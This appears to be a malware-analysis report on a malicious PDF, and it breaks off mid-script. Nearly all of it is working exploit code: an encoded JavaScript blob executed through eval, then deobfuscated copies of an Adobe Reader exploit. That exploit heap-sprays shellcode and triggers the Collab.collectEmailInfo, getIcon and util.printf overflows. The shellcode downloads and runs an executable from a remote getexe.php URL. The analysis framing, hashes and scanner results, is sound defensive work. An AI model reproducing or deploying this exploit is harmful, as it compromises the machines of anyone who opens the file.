JTM3JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY5JTMyJTVhJTU4JTY1JTU2JTVhJTQ5JTM4JTcxJTIwJTNkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ2JTQ2JTdhJTdhJTMzJTMzJTYyJTUzJTYxJTU5JTIwJTNkJTIwJTc4JTY0JTY4JTc3JTM5JTU2JTU2JTMyJTY5JTc2JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTZhJTc5JTY1JTc1JTQ4JTY1JTU2JTRiJTQ0JTZmJTIwJTNkJTIwJTY5JTMyJTVhJTU4JTY1JTU2JTVhJTQ5JTM4JTcxJTIwJTJkJTIwJTI4JTQ2JTQ2JTdhJTdhJTMzJTMzJTYyJTUzJTYxJTU5JTIwJTJiJTIwJTMwJTc4JTMzJTM4JTI5JTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTM5JTMwJTM5JTMwJTI1JTc1JTM5JTMwJTM5JTMwJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTIwJTNkJTIwJTRjJTZkJTZmJTZiJTc5JTRlJTUwJTcyJTMzJTM2JTI4JTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTJjJTIwJTZhJTc5JTY1JTc1JTQ4JTY1JTU2JTRiJTQ0JTZmJTI5JTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUyJTc3JTQzJTZmJTc0JTRjJTRhJTRmJTRlJTMzJTIwJTNkJTIwJTI4JTUzJTM5JTRiJTZkJTMzJTYzJTUxJTU5JTc4JTY1JTIwJTJkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTI5JTIwJTJmJTIwJTY5JTMyJTVhJTU4JTY1JTU2JTVhJTQ5JTM4JTcxJTNiJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTc2JTYxJTcyJTIwJTUwJTRiJTM1JTc0JTczJTZhJTRmJTUyJTMzJTU3JTIwJTNkJTIwJTMwJTNiJTIwJTUwJTRiJTM1JTc0JTczJTZhJTRmJTUyJTMzJTU3JTIwJTNjJTIwJTUyJTc3JTQzJTZmJTc0JTRjJTRhJTRmJTRlJTMzJTNiJTIwJTUwJTRiJTM1JTc0JTczJTZhJTRmJTUyJTMzJTU3JTJiJTJiJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTRmJTQ1JTM1JTZiJTY4JTRmJTcwJTY3JTZmJTYyJTViJTUwJTRiJTM1JTc0JTczJTZhJTRmJTUyJTMzJTU3JTVkJTIwJTNkJTIwJTczJTY2JTRhJTQ5JTUxJTMyJTY3JTQ2JTY4JTU2JTIwJTJiJTIwJTc4JTY0JTY4JTc3JTM5JTU2JTU2JTMyJTY5JTc2JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTdkJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTc0JTY4JTZkJTQ5JTY4JTZmJTRiJTQ5JTQ3JTc2JTI4JTI5JTIwJTIwJTdiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY0JTRlJTcyJTM1JTQzJTZjJTUxJTU3JTQxJTZlJTIwJTNkJTIwJTMwJTNiJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNkJTIwJTYxJTcwJTcwJTJlJTc2JTY5JTY1JTc3JTY1JTcyJTU2JTY1JTcyJTczJTY5JTZmJTZlJTJlJTc0JTZmJTUzJTc0JTcyJTY5JTZlJTY3JTI4JTI5JTNiJTIwJTIwJTIwJTIwJTYxJTcwJTcwJTJlJTYzJTZjJTY1JTYxJTcyJTU0JTY5JTZkJTY1JTRmJTc1JTc0JTI4JTcyJTMwJTM0JTQ5JTdhJTYxJTM0JTVhJTQ5JTRjJTI5JTNiJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNlJTNkJTIwJTM4JTIwJTI2JTI2JTIwJTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNjJTIwJTM4JTJlJTMxJTMwJTMyJTI5JTIwJTdjJTdjJTIwJTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNjJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTUwJTM0JTYxJTU2JTZmJTU5JTczJTQ0JTUxJTc2JTI4JTMwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUwJTZiJTM4JTM2JTMzJTZmJTc0JTRlJTM4JTQxJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTMwJTYzJTMwJTYzJTI1JTc1JTMwJTYzJTMwJTYzJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTUwJTZiJTM4JTM2JTMzJTZmJTc0JTRlJTM4JTQxJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTM0JTM0JTM5JTM1JTMyJTI5JTIwJTUwJTZiJTM4JTM2JTMzJTZmJTc0JTRlJTM4JTQxJTIwJTJiJTNkJTIwJTUwJTZiJTM4JTM2JTMzJTZmJTc0JTRlJTM4JTQxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUwJTdhJTU5JTQxJTM0JTZiJTc2JTU1JTQ3JTM2JTIwJTNkJTIwJTc0JTY4JTY5JTczJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRmJTcwJTVhJTUxJTU0JTc4JTUxJTcxJTZiJTczJTIwJTNkJTIwJTQzJTZmJTZjJTZjJTYxJTYyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTUwJTdhJTU5JTQxJTM0JTZiJTc2JTU1JTQ3JTM2JTViJTIyJTYzJTZmJTZjJTZjJTYxJTYyJTUzJTc0JTZmJTcyJTY1JTIyJTVkJTIwJTNkJTIwJTRmJTcwJTVhJTUxJTU0JTc4JTUxJTcxJTZiJTczJTViJTIyJTYzJTZmJTZjJTZjJTY1JTYzJTc0JTQ1JTZkJTYxJTY5JTZjJTQ5JTZlJTY2JTZmJTIyJTVkJTI4JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTczJTc1JTYyJTZhJTIwJTNhJTIwJTIyJTIyJTJjJTIwJTZkJTczJTY3JTIwJTNhJTIwJTUwJTZiJTM4JTM2JTMzJTZmJTc0JTRlJTM4JTQxJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTI5JTNiJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNlJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTI2JTI2JTIwJTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNjJTIwJTM4JTJlJTMxJTMwJTM0JTI5JTIwJTdjJTdjJTIwJTI4JTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNlJTNkJTIwJTM5JTIwJTI2JTI2JTIwJTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNjJTIwJTM5JTJlJTMxJTI5JTIwJTdjJTdjJTIwJTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNjJTNkJTIwJTM3JTJlJTMxJTMwJTMxJTI5JTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTc0JTcyJTc5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTYxJTcwJTcwJTJlJTY0JTZmJTYzJTJlJTQzJTZmJTZjJTZjJTYxJTYyJTJlJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTUwJTM0JTYxJTU2JTZmJTU5JTczJTQ0JTUxJTc2JTI4JTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRjJTM0JTYzJTRmJTMwJTY2JTQzJTMzJTMzJTRiJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTMwJTM5JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTRjJTM0JTYzJTRmJTMwJTY2JTQzJTMzJTMzJTRiJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTRjJTM0JTYzJTRmJTMwJTY2JTQzJTMzJTMzJTRiJTIwJTJiJTNkJTIwJTRjJTM0JTYzJTRmJTMwJTY2JTQzJTMzJTMzJTRiJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTRjJTM0JTYzJTRmJTMwJTY2JTQzJTMzJTMzJTRiJTIwJTNkJTIwJTIyJTRlJTJlJTIyJTIwJTJiJTIwJTRjJTM0JTYzJTRmJTMwJTY2JTQzJTMzJTMzJTRiJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTYxJTRiJTRhJTZkJTU1JTRlJTU3JTUwJTcyJTZlJTIwJTNkJTIwJTYxJTcwJTcwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTYxJTRiJTRhJTZkJTU1JTRlJTU3JTUwJTcyJTZlJTViJTIyJTY0JTZmJTYzJTIyJTVkJTViJTIyJTQzJTZmJTZjJTZjJTYxJTYyJTIyJTVkJTViJTIyJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTIyJTVkJTI4JTRjJTM0JTYzJTRmJTMwJTY2JTQzJTMzJTMzJTRiJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY0JTRlJTcyJTM1JTQzJTZjJTUxJTU3JTQxJTZlJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY0JTRlJTcyJTM1JTQzJTZjJTUxJTU3JTQxJTZlJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTYzJTYxJTc0JTYzJTY4JTI4JTY1JTI5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY0JTRlJTcyJTM1JTQzJTZjJTUxJTU3JTQxJTZlJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTY0JTRlJTcyJTM1JTQzJTZjJTUxJTU3JTQxJTZlJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNkJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTdjJTdjJTIwJTUxJTU1JTM5JTY0JTRlJTMxJTRlJTZkJTUyJTUwJTIwJTNkJTNkJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTUwJTM0JTYxJTU2JTZmJTU5JTczJTQ0JTUxJTc2JTI4JTMxJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc0JTMwJTY0JTM2JTVhJTM4JTM0JTMxJTc4JTZlJTIwJTNkJTIwJTIyJTMxJTMyJTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTQ5JTQ1JTcyJTU2JTYzJTMxJTQxJTcwJTM0JTQzJTIwJTNkJTIwJTMwJTNiJTIwJTQ5JTQ1JTcyJTU2JTYzJTMxJTQxJTcwJTM0JTQzJTIwJTNjJTIwJTMyJTM3JTM2JTNiJTIwJTQ5JTQ1JTcyJTU2JTYzJTMxJTQxJTcwJTM0JTQzJTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc0JTMwJTY0JTM2JTVhJTM4JTM0JTMxJTc4JTZlJTIwJTJiJTNkJTIwJTIyJTM4JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU1JTQ4JTU4JTUzJTM0JTMyJTcxJTYxJTUyJTY4JTIwJTNkJTIwJTc1JTc0JTY5JTZjJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU1JTQ4JTU4JTUzJTM0JTMyJTcxJTYxJTUyJTY4JTViJTIyJTcwJTcyJTY5JTZlJTc0JTY2JTIyJTVkJTI4JTIyJTI1JTM0JTM1JTMwJTMwJTMwJTY2JTIyJTJjJTIwJTc0JTMwJTY0JTM2JTVhJTM4JTM0JTMxJTc4JTZlJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTdkJTIwJTdkJTIwIikpOyAKIGFwcC51eHIyM1I5N1I3ID0gdGhtSWhvS0lHdjsKIHIwNEl6YTRaSUwgPSBhcHAuc2V0VGltZU91dCgiYXBwLnV4cjIzUjk3UjcoKSIsIDEpOwo="); var sssddd = eval; sssddd(aasd);
`generic_stage_recovery_000.js`	deobfuscated-js	generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6	5266 bytes
SHA-256: `615248b097ca8c3e3b1671a73636607b585de06622cab2a270ae6a001b957055`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var OE5khOpgob = new Array(); var r04Iza4ZIL; var lave = eval; lave(unescape(" function LmokyNPr36(sfJIQ2gFhV, jyeuHeVKDo) { while(sfJIQ2gFhV.length * 2 < jyeuHeVKDo) { sfJIQ2gFhV += sfJIQ2gFhV; } sfJIQ2gFhV = sfJIQ2gFhV.substring(0, jyeuHeVKDo / 2); return sfJIQ2gFhV; } ")); lave(unescape(" function P4aVoYsDQv(Gdacv2ecHL) { if(Gdacv2ecHL == 0) { var S9Km3cQYxe = 0x0c0c0c0c; var xdhw9VV2iv = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u682E%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(Gdacv2ecHL == 1) { S9Km3cQYxe = 0x30303030; var xdhw9VV2iv = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u682E%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(Gdacv2ecHL == 2) { var xdhw9VV2iv = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u682E%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } var i2ZXeVZI8q = 0x400000; var FFzz33bSaY = xdhw9VV2iv.length * 2; var jyeuHeVKDo = i2ZXeVZI8q - (FFzz33bSaY + 0x38); var sfJIQ2gFhV = unescape("%u9090%u9090"); sfJIQ2gFhV = LmokyNPr36(sfJIQ2gFhV, jyeuHeVKDo); var RwCotLJON3 = (S9Km3cQYxe - 0x400000) / i2ZXeVZI8q; for(var PK5tsjOR3W = 0; PK5tsjOR3W < RwCotLJON3; PK5tsjOR3W++) { OE5khOpgob[PK5tsjOR3W] = sfJIQ2gFhV + xdhw9VV2iv; } } ")); lave(unescape(" function thmIhoKIGv() { var dNr5ClQWAn = 0; var QU9dN1NmRP = app.viewerVersion.toString(); app.clearTimeOut(r04Iza4ZIL); if((QU9dN1NmRP >= 8 && QU9dN1NmRP < 8.102) \|\| QU9dN1NmRP < 7.1) { P4aVoYsDQv(0); var Pk863otN8A = unescape("%u0c0c%u0c0c"); while(Pk863otN8A.length < 44952) Pk863otN8A += Pk863otN8A; var PzYA4kvUG6 = this; var OpZQTxQqks = Collab; PzYA4kvUG6["collabStore"] = OpZQTxQqks["collectEmailInfo"]( { subj : "", msg : Pk863otN8A } ); } if((QU9dN1NmRP >= 8.102 && QU9dN1NmRP < 8.104) \|\| (QU9dN1NmRP >= 9 && QU9dN1NmRP < 9.1) \|\| QU9dN1NmRP <= 7.101) { try { if(app.doc.Collab.getIcon) { P4aVoYsDQv(2); var L4cO0fC33K = unescape("%09"); while(L4cO0fC33K.length < 0x4000) { L4cO0fC33K += L4cO0fC33K; } L4cO0fC33K = "N." + L4cO0fC33K; var aKJmUNWPrn = app; aKJmUNWPrn["doc"]["Collab"]["getIcon"](L4cO0fC33K); dNr5ClQWAn = 1; } else { dNr5ClQWAn = 1; } } catch(e) { dNr5ClQWAn = 1; } if(dNr5ClQWAn == 1) { if(QU9dN1NmRP == 8.102 \|\| QU9dN1NmRP == 7.1) { P4aVoYsDQv(1); var t0d6Z841xn = "12999999999999999999"; for(IErVc1Ap4C = 0; IErVc1Ap4C < 276; IErVc1Ap4C++) { t0d6Z841xn += "8"; } var UHXS42qaRh = util; UHXS42qaRh["printf"]("%45000f", t0d6Z841xn); } } } } ")); app.uxr23R97R7 = thmIhoKIGv; r04Iza4ZIL = app.setTimeOut("app.uxr23R97R7()", 1);
`generic_stage_recovery_001.js`	deobfuscated-js	generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6	5262 bytes
SHA-256: `b8c76e2ff7d24a1d45a3fc97a4f3202c1371a2bfc980fac18f5d23cafd19223c`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var OE5khOpgob = new Array(); var r04Iza4ZIL; var lave = eval; lave(unescape(" function LmokyNPr36(sfJIQ2gFhV, jyeuHeVKDo) { while(sfJIQ2gFhV.length * 2 < jyeuHeVKDo) { sfJIQ2gFhV += sfJIQ2gFhV; } sfJIQ2gFhV = sfJIQ2gFhV.substring(0, jyeuHeVKDo / 2); return sfJIQ2gFhV; } ")); lave(unescape(" function P4aVoYsDQv(Gdacv2ecHL) { if(Gdacv2ecHL == 0) { var S9Km3cQYxe = 0x0c0c0c0c; var xdhw9VV2iv = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u682E%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(Gdacv2ecHL == 1) { S9Km3cQYxe = 0x30303030; var xdhw9VV2iv = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u682E%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } else if(Gdacv2ecHL == 2) { var xdhw9VV2iv = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u772F%u7777%u682E%u7265%u736F%u6D69%u3161%u6579%u3074%u6730%u632E%u2F6E%u796D%u7865%u3270%u672F%u7465%u7865%u2E65%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u7865%u0070"); } var i2ZXeVZI8q = 0x400000; var FFzz33bSaY = xdhw9VV2iv.length * 2; var jyeuHeVKDo = i2ZXeVZI8q - (FFzz33bSaY + 0x38); var sfJIQ2gFhV = unescape("%u9090%u9090"); sfJIQ2gFhV = LmokyNPr36(sfJIQ2gFhV, jyeuHeVKDo); var RwCotLJON3 = (S9Km3cQYxe - 0x400000) / i2ZXeVZI8q; for(var PK5tsjOR3W = 0; PK5tsjOR3W < RwCotLJON3; PK5tsjOR3W++) { OE5khOpgob[PK5tsjOR3W] = sfJIQ2gFhV + xdhw9VV2iv; } } ")); lave(unescape(" function thmIhoKIGv() { var dNr5ClQWAn = 0; var QU9dN1NmRP = app.viewerVersion.toString(); app.clearTimeOut(r04Iza4ZIL); if((QU9dN1NmRP >= 8 && QU9dN1NmRP < 8.102) \|\| QU9dN1NmRP < 7.1) { P4aVoYsDQv(0); var Pk863otN8A = unescape("%u0c0c%u0c0c"); while(Pk863otN8A.length < 44952) Pk863otN8A += Pk863otN8A; var PzYA4kvUG6 = this; var OpZQTxQqks = Collab; PzYA4kvUG6["collabStore"] = OpZQTxQqks["collectEmailInfo"]( { subj : "", msg : Pk863otN8A } ); } if((QU9dN1NmRP >= 8.102 && QU9dN1NmRP < 